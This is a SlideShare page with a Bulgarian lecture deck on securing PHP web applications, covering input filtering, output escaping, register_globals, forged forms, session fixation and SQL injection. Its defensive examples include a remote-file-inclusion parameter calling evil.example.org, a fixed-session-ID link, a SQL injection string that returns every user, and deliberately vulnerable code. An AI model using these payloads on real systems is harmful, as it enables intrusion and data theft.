SlideShare a Scribd company logo
1 of 29
Защита при създаване на phpприложения в Интернет

Изготвил: Пламен Христов
фак.№ 116556
2 златни правила
1. Филтриране на външните данни
•
•

$_POST, $_COOKIE, др.
$_SERVER

1. Ескейпване на съдържанието от
•
•

Клиентския браузър
MYSQL базата данни
2 златни правила
Cookie

Forms

Filter

Referer, etc.

xhtml

PHP Script

Escape

MYSQL
Филтриране
●

●

Процес при който проверявате данните за
да гарантирате тяхната валидност.
Използвайте подход при който всички
данни са невалидно, освен ако не е
посочено изрично.
Филтриране: пример
$clean = array();
if (ctype_alnum($_POST['username']))
{
$clean['username'] = $_POST['username'];
}
Filter example
$clean = array();
$clean = array();
if (ctype_alnum($_POST['username']))
{
$clean['username'] = $_POST['username'];
}

Инициализация на масив
за запазване на
филтрираните данни.
Filter example
$clean = array();
if (ctype_alnum($_POST['username']))
if (ctype_alnum($_POST['username']))
{
$clean['username'] = $_POST['username'];
}

Проверка на username, че
съдържа само букви и
цифри.
Filter example
$clean = array();
if (ctype_alnum($_POST['username']))
{
$clean['username'] = $_POST['username'];
$clean['username'] = $_POST['username'];
}
Ако е вярно, запис в
масива.
Ескейпване на изходните данни
●

●

●

Процес при който форматирате специалните
символи на отдалечения сървър
Освен ако не изпращате данни на някакво
специално място, обикновено има готова
функция..
Два от най-често използваните формати за
изходни данни са xhtml (използвайте
htmlentities()) или MYSQL база данни
(използвайте
mysql_real_escape_string()).
Пример за ескейпване

$xhtml = array();
$xhtml['username'] = htmlentities($clean['username'],
ENT_QUOTES,
'UTF-8');
echo "<p>Welcome back, {$xhtml['username']}.</p>";
Escape example

$xhtml = array();
$xhtml = array();
$xhtml['username'] = htmlentities($clean['username'],
ENT_QUOTES,
'UTF-8');
echo "<p>Welcome back, {$xhtml['username']}.</p>";

Инициализация на
масив за запазване
на ескейпнатите
данни.
Escape example

$xhtml = array();
$xhtml['username'] = htmlentities($clean['username'],
$xhtml['username'] = htmlentities($clean['username'],
ENT_QUOTES,
ENT_QUOTES,
'UTF-8');
'UTF-8');
echo "<p>Welcome back, {$xhtml['username']}.</p>";
Ескейпване на
филтрираното
потребителско име и
запазване в масива.
Escape example

$xhtml = array();
$xhtml['username'] = htmlentities($clean['username'],
ENT_QUOTES,
'UTF-8');
echo "<p>Welcome back, {$xhtml['username']}.</p>";
echo "<p>Welcome back, {$xhtml['username']}.</p>";

Изпращане на
данните към
браузъра.
Това е!
●

●

Ако спазвате тези правила ще можете да
създавате код, който е сигурно.
Ако не ти спазвате, бихте могли да станете
жертва на..
Следващо: Често срещани видове атаки
Глобални променливи (Register
globals)
●

Суперглобални променливи индекси на
масиви са достъпни като променливи..
например:
$_POST[‘name’] е достъпно като $name
$_COOKIE[‘age’] е достъпно като $age

●

Повечето PHP конфигурация имат тази
опция изключения, но трябва да сте
сигурни.
Глобални променливи: пример
<?php include "$path/script.php"; ?>
Ако забравите да инициализирате $path и имате
register_globals включено, страницата може да бъде
достъпена чрез ?path=http%3A%2F
%2Fevil.example.org%2F%3F и да изпълни следното:
include 'http://evil.example.org/?/script.php';

т.е. злонамерен потребител може да добави свой
скрипт по всяко време..
Глобални променливи: Решение
●

●

Имайте предвид, че с тази опция, всеки
потребилен може да инжектира
променлива от каквото и да е име във
вашите скриптове.
ВИНАГИ ИНИЦИАЛИЗИРАЙТЕ
СОБСТВЕНИТЕ СИ ПРОМЕНЛИВИ!
Фалшифицирани форми
●

●

Имайте предвид, че всеки може да създаде
собствени форми и да ги изпрати към
вашите PHP скриптове.
Например: използването на select,
checkbox или радио бутон не е гаранция,
че данните са някои от вашите опции.
Фалшифицирани форми: Пример
Форма написана от уеб разработчик:
<form action="/process.php" method="POST">
<select name="colour">
<option value="red">red</option>
<option value="green">green</option>
<option value="blue">blue</option>
</select>
<input type="submit" />
</form>

Потребителят създава собствена форма, която да изпрати на
същия адрес:
<form action="http://example.org/process.php" method="POST">
<input type="text" name="colour" />
<input type="submit" />
</form>
Фалшифицирани форми:
Решение
●

●

Потребителите могат да публикуват
каквото си пожелаят до вашите PHP
скриптове, стига то да отговаря на вашите
правила.
Бъдете сигурно, че всичките правила са
създадени от външен php филтър, не
разчитайте на формите, те могат да бъдат
променени!
Фиксиране на сесии
●

●

Сесийните атаки почти винаги
представляват следното – злонамереният
потребител се опитва да се представи за
някой друг.
Критическата точка е сесийният
идентификатор, фиксирането на сесии
представлява кражба на този
идентификатор.
Фиксиране на сесии
1. Злонамереният потребител създава
страница, която съдържа връзки към вашия
сайт със сесиен идентификатор.

… <a href=“http://example.com/index.php?PHPSESSID=1234” …
Фиксиране на сесии
2. Някой клиент следва една от тези връзки и
е пренасочен към вашия сайт.
3. Злонамереният потребител вече знае
сесийния идентификатор (той е сложил!) и
може да го използва в собствения си
браузър.
4. Злонамереният потребител вече се е
логнал, като един от вашите потребители.
Фиксиране на сесии: Решение
session_regenerate_id()
PHP има функция, която върши цялата
работа вместо вас, регенерира сесийния
идентификатор.
SQL инжекции
●

Целта на SQL инжекциите е да въведат
случайни данни, често заявка към базата
данни, които евентуално да бъдат
изпълнени от базата.
SQL инжекции: пример
●

Примерна заявка, която се изпълнява в php
върху MySQL база данни и email текста се
въвежда от потребителя:

“SELECT * FROM members
WHERE email = ‘{$_POST[‘email’]}’”
SQL инжекции: Пример
Използването на $_POST[..] в
заявката е индикация за несигурност.
●
Например какво би станало, ако
потребителя въведе следния email:
dummy’ OR ‘x’=‘x
●
Заявката вече има следната форма,
SELECT * FROM members
WHERE email = ‘dummy’ OR ‘x’=‘x’
..това би върнато данните на всички
потребители!
●
SQL инжекции: Решение
●
●

●

Филтриране на входните данни.
Цитиране на данните. Ако вашата база
данни го позволява (MySQL го прави),
сложете единични кавички около всички
стойност в SQL заявките.
Ескейпване на данните. За MySQL,
използвайте функцията
mysql_real_escape_string()
Обобщение

Филтриране на входни данни
+
Ескейпване на изходни данни
=
Сигурен код

More Related Content

Viewers also liked

Directional patch antenna array design for desktop wireless inter
Directional patch antenna array design for desktop wireless interDirectional patch antenna array design for desktop wireless inter
Directional patch antenna array design for desktop wireless interTung Huynh
 
Design of Series Feed Microstrip Patch Antenna Array using HFSS Simulator
Design of Series Feed Microstrip Patch Antenna Array using HFSS SimulatorDesign of Series Feed Microstrip Patch Antenna Array using HFSS Simulator
Design of Series Feed Microstrip Patch Antenna Array using HFSS Simulatoridescitation
 
DESIGN & PARAMETRIC STUDY OF RECTANGULAR SLOT MICROSTRIP PATCH ANTENNA FOR UW...
DESIGN & PARAMETRIC STUDY OF RECTANGULAR SLOT MICROSTRIP PATCH ANTENNA FOR UW...DESIGN & PARAMETRIC STUDY OF RECTANGULAR SLOT MICROSTRIP PATCH ANTENNA FOR UW...
DESIGN & PARAMETRIC STUDY OF RECTANGULAR SLOT MICROSTRIP PATCH ANTENNA FOR UW...IJEEE
 
Microstrip patch antenna with DGS
Microstrip patch antenna with DGSMicrostrip patch antenna with DGS
Microstrip patch antenna with DGSAnkit Pandey
 
Microstrip Patch Antenna With DGS
Microstrip Patch Antenna With DGSMicrostrip Patch Antenna With DGS
Microstrip Patch Antenna With DGSAnkit Pandey
 
Antenna arrays
Antenna arraysAntenna arrays
Antenna arraysAJAL A J
 
An Introduction to the Finite Element Method
An Introduction to the Finite Element MethodAn Introduction to the Finite Element Method
An Introduction to the Finite Element MethodMohammad Tawfik
 

Viewers also liked (9)

06. Arrays
06. Arrays06. Arrays
06. Arrays
 
Directional patch antenna array design for desktop wireless inter
Directional patch antenna array design for desktop wireless interDirectional patch antenna array design for desktop wireless inter
Directional patch antenna array design for desktop wireless inter
 
Design of Series Feed Microstrip Patch Antenna Array using HFSS Simulator
Design of Series Feed Microstrip Patch Antenna Array using HFSS SimulatorDesign of Series Feed Microstrip Patch Antenna Array using HFSS Simulator
Design of Series Feed Microstrip Patch Antenna Array using HFSS Simulator
 
DESIGN & PARAMETRIC STUDY OF RECTANGULAR SLOT MICROSTRIP PATCH ANTENNA FOR UW...
DESIGN & PARAMETRIC STUDY OF RECTANGULAR SLOT MICROSTRIP PATCH ANTENNA FOR UW...DESIGN & PARAMETRIC STUDY OF RECTANGULAR SLOT MICROSTRIP PATCH ANTENNA FOR UW...
DESIGN & PARAMETRIC STUDY OF RECTANGULAR SLOT MICROSTRIP PATCH ANTENNA FOR UW...
 
Microstrip patch antenna with DGS
Microstrip patch antenna with DGSMicrostrip patch antenna with DGS
Microstrip patch antenna with DGS
 
microwave_antenna
microwave_antennamicrowave_antenna
microwave_antenna
 
Microstrip Patch Antenna With DGS
Microstrip Patch Antenna With DGSMicrostrip Patch Antenna With DGS
Microstrip Patch Antenna With DGS
 
Antenna arrays
Antenna arraysAntenna arrays
Antenna arrays
 
An Introduction to the Finite Element Method
An Introduction to the Finite Element MethodAn Introduction to the Finite Element Method
An Introduction to the Finite Element Method
 

Similar to Php sec

Drupal security lecture
Drupal security lectureDrupal security lecture
Drupal security lectureslide9991
 
Php sec referat
Php sec referatPhp sec referat
Php sec referatDido_mn
 
Web applications with Catalyst BG
Web applications with Catalyst BGWeb applications with Catalyst BG
Web applications with Catalyst BGsvilen.ivanov
 
Сигурност и права за достъп в уеб приложения изработени с работната рамка Yii
Сигурност и права за достъп в уеб приложения изработени с работната рамка YiiСигурност и права за достъп в уеб приложения изработени с работната рамка Yii
Сигурност и права за достъп в уеб приложения изработени с работната рамка YiiIlko Kacharov
 
Php security
Php securityPhp security
Php securityNikolai
 
Защита при създаването на PHP-приложения
Защита при създаването на PHP-приложенияЗащита при създаването на PHP-приложения
Защита при създаването на PHP-приложенияNikolay Milkov
 
Php security
Php securityPhp security
Php securityphristov
 
5494 n nikolov_zashtita_ppt
5494 n nikolov_zashtita_ppt5494 n nikolov_zashtita_ppt
5494 n nikolov_zashtita_pptNikolai Nikolov
 
Курс по уеб програмиране (2014), занятие №3 - JavaScript (част 1/2)
Курс по уеб програмиране (2014), занятие №3 - JavaScript (част 1/2)Курс по уеб програмиране (2014), занятие №3 - JavaScript (част 1/2)
Курс по уеб програмиране (2014), занятие №3 - JavaScript (част 1/2)DAVID Academy
 
Курс по уеб програмиране (2015), занятие №1 - HTML
Курс по уеб програмиране (2015), занятие №1 - HTMLКурс по уеб програмиране (2015), занятие №1 - HTML
Курс по уеб програмиране (2015), занятие №1 - HTMLDAVID Academy
 
Курс по уеб програмиране (2015), занятие №3 - JavaScript (част 1/2)
Курс по уеб програмиране (2015), занятие №3 - JavaScript (част 1/2)Курс по уеб програмиране (2015), занятие №3 - JavaScript (част 1/2)
Курс по уеб програмиране (2015), занятие №3 - JavaScript (част 1/2)DAVID Academy
 
2022 TurnovoConf MySQL за начинаещи.pptx
2022 TurnovoConf MySQL за начинаещи.pptx2022 TurnovoConf MySQL за начинаещи.pptx
2022 TurnovoConf MySQL за начинаещи.pptxGeorgi Kodinov
 
24 sazdavane na potrebiteli i zadavane na razreshenia
24 sazdavane na potrebiteli i zadavane na razreshenia24 sazdavane na potrebiteli i zadavane na razreshenia
24 sazdavane na potrebiteli i zadavane na razresheniaIvan Peev
 
Web and WS based Embedded Systems
Web and WS based Embedded SystemsWeb and WS based Embedded Systems
Web and WS based Embedded SystemsNikolay Kakanakov
 
Уроците от работата ми по WordPress.com - Веселин Николов
Уроците от работата ми по WordPress.com - Веселин НиколовУроците от работата ми по WordPress.com - Веселин Николов
Уроците от работата ми по WordPress.com - Веселин НиколовbeITconference
 

Similar to Php sec (20)

Drupal Security
Drupal SecurityDrupal Security
Drupal Security
 
Drupal security lecture
Drupal security lectureDrupal security lecture
Drupal security lecture
 
Php sec referat
Php sec referatPhp sec referat
Php sec referat
 
Web applications with Catalyst BG
Web applications with Catalyst BGWeb applications with Catalyst BG
Web applications with Catalyst BG
 
Сигурност и права за достъп в уеб приложения изработени с работната рамка Yii
Сигурност и права за достъп в уеб приложения изработени с работната рамка YiiСигурност и права за достъп в уеб приложения изработени с работната рамка Yii
Сигурност и права за достъп в уеб приложения изработени с работната рамка Yii
 
Php security
Php securityPhp security
Php security
 
Защита при създаването на PHP-приложения
Защита при създаването на PHP-приложенияЗащита при създаването на PHP-приложения
Защита при създаването на PHP-приложения
 
Php security
Php securityPhp security
Php security
 
Webloz2011
Webloz2011Webloz2011
Webloz2011
 
B3 t3 cookies
B3 t3 cookiesB3 t3 cookies
B3 t3 cookies
 
5494 n nikolov_zashtita_ppt
5494 n nikolov_zashtita_ppt5494 n nikolov_zashtita_ppt
5494 n nikolov_zashtita_ppt
 
Курс по уеб програмиране (2014), занятие №3 - JavaScript (част 1/2)
Курс по уеб програмиране (2014), занятие №3 - JavaScript (част 1/2)Курс по уеб програмиране (2014), занятие №3 - JavaScript (част 1/2)
Курс по уеб програмиране (2014), занятие №3 - JavaScript (част 1/2)
 
Курс по уеб програмиране (2015), занятие №1 - HTML
Курс по уеб програмиране (2015), занятие №1 - HTMLКурс по уеб програмиране (2015), занятие №1 - HTML
Курс по уеб програмиране (2015), занятие №1 - HTML
 
Курс по уеб програмиране (2015), занятие №3 - JavaScript (част 1/2)
Курс по уеб програмиране (2015), занятие №3 - JavaScript (част 1/2)Курс по уеб програмиране (2015), занятие №3 - JavaScript (част 1/2)
Курс по уеб програмиране (2015), занятие №3 - JavaScript (част 1/2)
 
5494 n nikolov_zashtita
5494 n nikolov_zashtita5494 n nikolov_zashtita
5494 n nikolov_zashtita
 
2022 TurnovoConf MySQL за начинаещи.pptx
2022 TurnovoConf MySQL за начинаещи.pptx2022 TurnovoConf MySQL за начинаещи.pptx
2022 TurnovoConf MySQL за начинаещи.pptx
 
B2 t2 variables
B2 t2 variablesB2 t2 variables
B2 t2 variables
 
24 sazdavane na potrebiteli i zadavane na razreshenia
24 sazdavane na potrebiteli i zadavane na razreshenia24 sazdavane na potrebiteli i zadavane na razreshenia
24 sazdavane na potrebiteli i zadavane na razreshenia
 
Web and WS based Embedded Systems
Web and WS based Embedded SystemsWeb and WS based Embedded Systems
Web and WS based Embedded Systems
 
Уроците от работата ми по WordPress.com - Веселин Николов
Уроците от работата ми по WordPress.com - Веселин НиколовУроците от работата ми по WordPress.com - Веселин Николов
Уроците от работата ми по WordPress.com - Веселин Николов
 

Php sec

  • 1. Защита при създаване на phpприложения в Интернет Изготвил: Пламен Христов фак.№ 116556
  • 2. 2 златни правила 1. Филтриране на външните данни • • $_POST, $_COOKIE, др. $_SERVER 1. Ескейпване на съдържанието от • • Клиентския браузър MYSQL базата данни
  • 4. Филтриране ● ● Процес при който проверявате данните за да гарантирате тяхната валидност. Използвайте подход при който всички данни са невалидно, освен ако не е посочено изрично.
  • 5. Филтриране: пример $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; }
  • 6. Filter example $clean = array(); $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; } Инициализация на масив за запазване на филтрираните данни.
  • 7. Filter example $clean = array(); if (ctype_alnum($_POST['username'])) if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; } Проверка на username, че съдържа само букви и цифри.
  • 8. Filter example $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; $clean['username'] = $_POST['username']; } Ако е вярно, запис в масива.
  • 9. Ескейпване на изходните данни ● ● ● Процес при който форматирате специалните символи на отдалечения сървър Освен ако не изпращате данни на някакво специално място, обикновено има готова функция.. Два от най-често използваните формати за изходни данни са xhtml (използвайте htmlentities()) или MYSQL база данни (използвайте mysql_real_escape_string()).
  • 10. Пример за ескейпване $xhtml = array(); $xhtml['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8'); echo "<p>Welcome back, {$xhtml['username']}.</p>";
  • 11. Escape example $xhtml = array(); $xhtml = array(); $xhtml['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8'); echo "<p>Welcome back, {$xhtml['username']}.</p>"; Инициализация на масив за запазване на ескейпнатите данни.
  • 12. Escape example $xhtml = array(); $xhtml['username'] = htmlentities($clean['username'], $xhtml['username'] = htmlentities($clean['username'], ENT_QUOTES, ENT_QUOTES, 'UTF-8'); 'UTF-8'); echo "<p>Welcome back, {$xhtml['username']}.</p>"; Ескейпване на филтрираното потребителско име и запазване в масива.
  • 13. Escape example $xhtml = array(); $xhtml['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8'); echo "<p>Welcome back, {$xhtml['username']}.</p>"; echo "<p>Welcome back, {$xhtml['username']}.</p>"; Изпращане на данните към браузъра.
  • 14. Това е! ● ● Ако спазвате тези правила ще можете да създавате код, който е сигурно. Ако не ти спазвате, бихте могли да станете жертва на.. Следващо: Често срещани видове атаки
  • 15. Глобални променливи (Register globals) ● Суперглобални променливи индекси на масиви са достъпни като променливи.. например: $_POST[‘name’] е достъпно като $name $_COOKIE[‘age’] е достъпно като $age ● Повечето PHP конфигурация имат тази опция изключения, но трябва да сте сигурни.
  • 16. Глобални променливи: пример <?php include "$path/script.php"; ?> Ако забравите да инициализирате $path и имате register_globals включено, страницата може да бъде достъпена чрез ?path=http%3A%2F %2Fevil.example.org%2F%3F и да изпълни следното: include 'http://evil.example.org/?/script.php'; т.е. злонамерен потребител може да добави свой скрипт по всяко време..
  • 17. Глобални променливи: Решение ● ● Имайте предвид, че с тази опция, всеки потребилен може да инжектира променлива от каквото и да е име във вашите скриптове. ВИНАГИ ИНИЦИАЛИЗИРАЙТЕ СОБСТВЕНИТЕ СИ ПРОМЕНЛИВИ!
  • 18. Фалшифицирани форми ● ● Имайте предвид, че всеки може да създаде собствени форми и да ги изпрати към вашите PHP скриптове. Например: използването на select, checkbox или радио бутон не е гаранция, че данните са някои от вашите опции.
  • 19. Фалшифицирани форми: Пример Форма написана от уеб разработчик: <form action="/process.php" method="POST"> <select name="colour"> <option value="red">red</option> <option value="green">green</option> <option value="blue">blue</option> </select> <input type="submit" /> </form> Потребителят създава собствена форма, която да изпрати на същия адрес: <form action="http://example.org/process.php" method="POST"> <input type="text" name="colour" /> <input type="submit" /> </form>
  • 20. Фалшифицирани форми: Решение ● ● Потребителите могат да публикуват каквото си пожелаят до вашите PHP скриптове, стига то да отговаря на вашите правила. Бъдете сигурно, че всичките правила са създадени от външен php филтър, не разчитайте на формите, те могат да бъдат променени!
  • 21. Фиксиране на сесии ● ● Сесийните атаки почти винаги представляват следното – злонамереният потребител се опитва да се представи за някой друг. Критическата точка е сесийният идентификатор, фиксирането на сесии представлява кражба на този идентификатор.
  • 22. Фиксиране на сесии 1. Злонамереният потребител създава страница, която съдържа връзки към вашия сайт със сесиен идентификатор. … <a href=“http://example.com/index.php?PHPSESSID=1234” …
  • 23. Фиксиране на сесии 2. Някой клиент следва една от тези връзки и е пренасочен към вашия сайт. 3. Злонамереният потребител вече знае сесийния идентификатор (той е сложил!) и може да го използва в собствения си браузър. 4. Злонамереният потребител вече се е логнал, като един от вашите потребители.
  • 24. Фиксиране на сесии: Решение session_regenerate_id() PHP има функция, която върши цялата работа вместо вас, регенерира сесийния идентификатор.
  • 25. SQL инжекции ● Целта на SQL инжекциите е да въведат случайни данни, често заявка към базата данни, които евентуално да бъдат изпълнени от базата.
  • 26. SQL инжекции: пример ● Примерна заявка, която се изпълнява в php върху MySQL база данни и email текста се въвежда от потребителя: “SELECT * FROM members WHERE email = ‘{$_POST[‘email’]}’”
  • 27. SQL инжекции: Пример Използването на $_POST[..] в заявката е индикация за несигурност. ● Например какво би станало, ако потребителя въведе следния email: dummy’ OR ‘x’=‘x ● Заявката вече има следната форма, SELECT * FROM members WHERE email = ‘dummy’ OR ‘x’=‘x’ ..това би върнато данните на всички потребители! ●
  • 28. SQL инжекции: Решение ● ● ● Филтриране на входните данни. Цитиране на данните. Ако вашата база данни го позволява (MySQL го прави), сложете единични кавички около всички стойност в SQL заявките. Ескейпване на данните. За MySQL, използвайте функцията mysql_real_escape_string()
  • 29. Обобщение Филтриране на входни данни + Ескейпване на изходни данни = Сигурен код